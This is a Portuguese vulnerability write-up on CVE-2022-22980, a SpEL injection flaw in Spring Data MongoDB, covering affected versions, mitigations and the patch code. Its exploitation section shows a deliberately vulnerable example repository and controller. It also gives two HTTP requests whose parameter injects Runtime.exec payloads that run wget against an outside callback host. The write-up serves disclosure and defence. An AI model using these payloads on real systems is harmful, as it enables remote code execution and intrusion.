
[CVE-2022-22980] Injeção de Expressão SpEL no Spring Data MongoDB
[CVE-2022-22980] Injeção de Expressão SpEL no Spring Data MongoDB
MongoDB é um banco de dados NoSQL orientado a documentos, com a escalabilidade e flexibilidade usadas para armazenamento de grandes volumes de dados. Em vez de usar tabelas e linhas como nos bancos de dados relacionais tradicionais, o MongoDB utiliza coleções e documentos. Os documentos consistem em pares de chave-valor, que são a unidade básica de dados no MongoDB.
Spring Data for MongoDB faz parte do projeto guarda-chuva Spring Data, que visa fornecer um modelo de programação familiar e consistente baseado no Spring para novos datastores, mantendo os recursos e capacidades específicos de cada armazenamento. O projeto Spring Data MongoDB fornece integração com o banco de dados de documentos MongoDB. As principais áreas funcionais do Spring Data MongoDB são um modelo centrado em POJO para interagir com um DBCollection do MongoDB e escrever facilmente uma camada de acesso a dados no estilo Repository.
Em 20 de junho de 2022, a VMware publicou um aviso de segurança em seu site oficial relacionado à vulnerabilidade de Injeção de Expressão SpEL (que leva à execução remota de código) que afeta o Spring Data MongoDB. Você pode encontrar informações detalhadas sobre a vulnerabilidade CVE-2022-22980 logo abaixo.
Vulnerabilidade
Uma aplicação Spring Data MongoDB é vulnerável a Injeção de SpEL quando utiliza métodos de consulta anotados com @Query ou @Aggregation com expressões SpEL que contêm placeholders de parâmetros de consulta para ligação de valores, se a entrada não for sanitizada. Alternativamente, configurações que expõem métodos de consulta do repositório sem envolver código adicional da aplicação (como o Spring Data REST) também são vulneráveis.
Especificamente, uma aplicação é vulnerável quando todas as seguintes condições são verdadeiras:
@Query ou @Aggregation que faz uso de SpEL (Spring Expression Language) e usa referências a parâmetros de entrada (?0, ?1, …) dentro da expressão SpELUma aplicação não é vulnerável se qualquer uma das seguintes condições for verdadeira:
QueryMethodEvaluationContextProvider que limita o uso de SpELVersões Afetadas
Spring Data MongoDB 3.4.0, 3.3.0 a 3.3.4 e versões anteriores são afetadas pela vulnerabilidade CVE-2022-22980 Spring Data MongoDB SpEL Expression Injection.
Status
Spring Data MongoDB 3.4.1 e 3.3.5, que contêm as correções, foram lançados.
Mitigação e Soluções Alternativas Sugeridas
A resposta preferida é atualizar para o Spring Data MongoDB 3.4.1 e 3.3.5 ou superior. Se você já fez isso, nenhuma solução alternativa é necessária. No entanto, alguns podem estar em uma posição em que a atualização é impossível de ser feita rapidamente. Por esse motivo, a equipe do Spring forneceu algumas soluções alternativas abaixo.
Usando a sintaxe de array: se a aplicação exigir expressões SpEL dinâmicas que sejam controladas pela entrada do usuário, reescreva as declarações de consulta ou agregação para usar referências de parâmetro ([0] em vez de ?0) dentro da expressãoImplementando um método de repositório customizado: Substituir a expressão SpEL por uma implementação de método de repositório customizado é uma solução alternativa viável para montar sua consulta dinâmica dentro do código da aplicação. Consulte a documentação de referência sobre customização de repositórios para mais detalhes.Análise do Patch: Issue no GitHub e Commits Relacionados
A issue no GitHub para a vulnerabilidade de injeção de SpEL pode ser acessada em github.com/spring-projects/spring-data-mongodb/issues/4089.
Com a ajuda dos dois commits abaixo, a vulnerabilidade relacionada foi corrigida.
Com esses commits, a classe spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/EvaluationContextExpressionEvaluator.java foi adicionada.
class EvaluationContextExpressionEvaluator implements SpELExpressionEvaluator {
ValueProvider valueProvider;
ExpressionParser expressionParser;
Supplier<EvaluationContext> evaluationContext;
public EvaluationContextExpressionEvaluator(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this.valueProvider = valueProvider;
this.expressionParser = expressionParser;
this.evaluationContext = evaluationContext;
}
@Nullable
@Override
public <T> T evaluate(String expression) {
return evaluateExpression(expression, Collections.emptyMap());
}
public EvaluationContext getEvaluationContext(String expressionString) {
return evaluationContext != null ? evaluationContext.get() : new StandardEvaluationContext();
}
public SpelExpression getParsedExpression(String expressionString) {
return (SpelExpression) (expressionParser != null ? expressionParser : new SpelExpressionParser())
.parseExpression(expressionString);
}
public <T> T evaluateExpression(String expressionString, Map<String, Object> variables) {
SpelExpression expression = getParsedExpression(expressionString);
EvaluationContext ctx = getEvaluationContext(expressionString);
variables.entrySet().forEach(entry -> ctx.setVariable(entry.getKey(), entry.getValue()));
Object result = expression.getValue(ctx, Object.class);
return (T) result;
}
}

A classe spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java também foi modificada da seguinte forma:

A versão final (corrigida) da classe spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java é a seguinte:
package org.springframework.data.mongodb.util.json;
import java.util.Map;
import java.util.function.Function;
import java.util.function.Supplier;
import org.springframework.data.mapping.model.SpELExpressionEvaluator;
import org.springframework.data.spel.ExpressionDependencies;
import org.springframework.data.util.Lazy;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.lang.Nullable;
/**
* Reusable context for binding parameters to a placeholder or a SpEL expression within a JSON structure. <br />
* To be used along with {@link ParameterBindingDocumentCodec#decode(String, ParameterBindingContext)}.
*
* @author Christoph Strobl
* @author Mark Paluch
* @since 2.2
*/
public class ParameterBindingContext {
private final ValueProvider valueProvider;
private final SpELExpressionEvaluator expressionEvaluator;
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext
*/
public ParameterBindingContext(ValueProvider valueProvider, SpelExpressionParser expressionParser,
EvaluationContext evaluationContext) {
this(valueProvider, expressionParser, () -> evaluationContext);
}
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext a {@link Supplier} for {@link Lazy} context retrieval.
* @since 2.2.3
*/
public ParameterBindingContext(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this(valueProvider, new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, evaluationContext));
}
/**
* @param valueProvider
* @param expressionEvaluator
* @since 3.1
*/
public ParameterBindingContext(ValueProvider valueProvider, SpELExpressionEvaluator expressionEvaluator) {
this.valueProvider = valueProvider;
this.expressionEvaluator = expressionEvaluator;
}
/**
* Create a new {@link ParameterBindingContext} that is capable of expression parsing and can provide a
* {@link EvaluationContext} based on {@link ExpressionDependencies}.
*
* @param valueProvider
* @param expressionParser
* @param contextFunction
* @return
* @since 3.1
*/
public static ParameterBindingContext forExpressions(ValueProvider valueProvider, ExpressionParser expressionParser,
Function<ExpressionDependencies, EvaluationContext> contextFunction) {
return new ParameterBindingContext(valueProvider,
new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, null) {
@Override
public EvaluationContext getEvaluationContext(String expressionString) {
Expression expression = getParsedExpression(expressionString);
ExpressionDependencies dependencies = ExpressionDependencies.discover(expression);
return contextFunction.apply(dependencies);
}
});
}
@Nullable
public Object bindableValueForIndex(int index) {
return valueProvider.getBindableValue(index);
}
@Nullable
public Object evaluateExpression(String expressionString) {
return expressionEvaluator.evaluate(expressionString);
}
@Nullable
public Object evaluateExpression(String expressionString, Map<String, Object> variables) {
if (expressionEvaluator instanceof EvaluationContextExpressionEvaluator) {
return ((EvaluationContextExpressionEvaluator) expressionEvaluator).evaluateExpression(expressionString,
variables);
}
return expressionEvaluator.evaluate(expressionString);
}
public ValueProvider getValueProvider() {
return valueProvider;
}
}
E graças à reorganização da classe ParameterBindingJsonReader.java, foi garantido que o tipo do parâmetro seja preservado ao vincular parâmetros usados dentro do valor da anotação Query ou Aggregation. Você pode ver as alterações do commit na classe ParameterBindingJsonReader.java nas capturas de tela abaixo:



Etapas de Exploração
Antes de explicar as etapas de exploração, a classe UserRepository.java do projeto vulnerável de exemplo (usando a anotação @Query) é ilustrada da seguinte forma:
package com.example.mongodb.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import com.example.mongodb.model.User;
import org.springframework.data.mongodb.repository.Query;
public interface UserRepository extends MongoRepository<User, String> {
@Query("{ 'userName' : ?#{?0}}")
public User findByUserNameLike(String userName);
}
A classe de controlador de exemplo UserController.java, que importa o pacote com.example.mongodb.repository.UserRepository, também é ilustrada da seguinte forma:
package com.example.mongodb.controller;
import com.example.mongodb.model.User;
import com.example.mongodb.repository.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.http.HttpStatus;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
@RestController
@RequestMapping("/v1/user")
public class UserController {
@Autowired
private UserRepository userRepository;
@ResponseStatus(HttpStatus.CREATED)
@PostMapping(consumes = MediaType.APPLICATION_JSON_VALUE)
public User createUser(@RequestBody User user) {
return userRepository.save(user);
}
@PostMapping(value="/get")
public User readUserById(@RequestParam("keyword") String id) throws UnsupportedEncodingException {
return userRepository.findByUserNameLike(URLDecoder.decode(id, "utf-8"));
}
Requisição e Resposta de Exploração
POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
keyword=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('wget+98fj4ailoo81u7rkveuwur8hf8l09p.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:21:20 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:21:20.604+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
keyword=T(java.lang.Runtime).getRuntime().exec('wget+og8ycpq0w3gg2mzz3t2b26gwnntgh5.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:36:10 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:36:10.827+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

Para mais informações sobre a remediação desta vulnerabilidade, visite os seguintes recursos:
Créditos: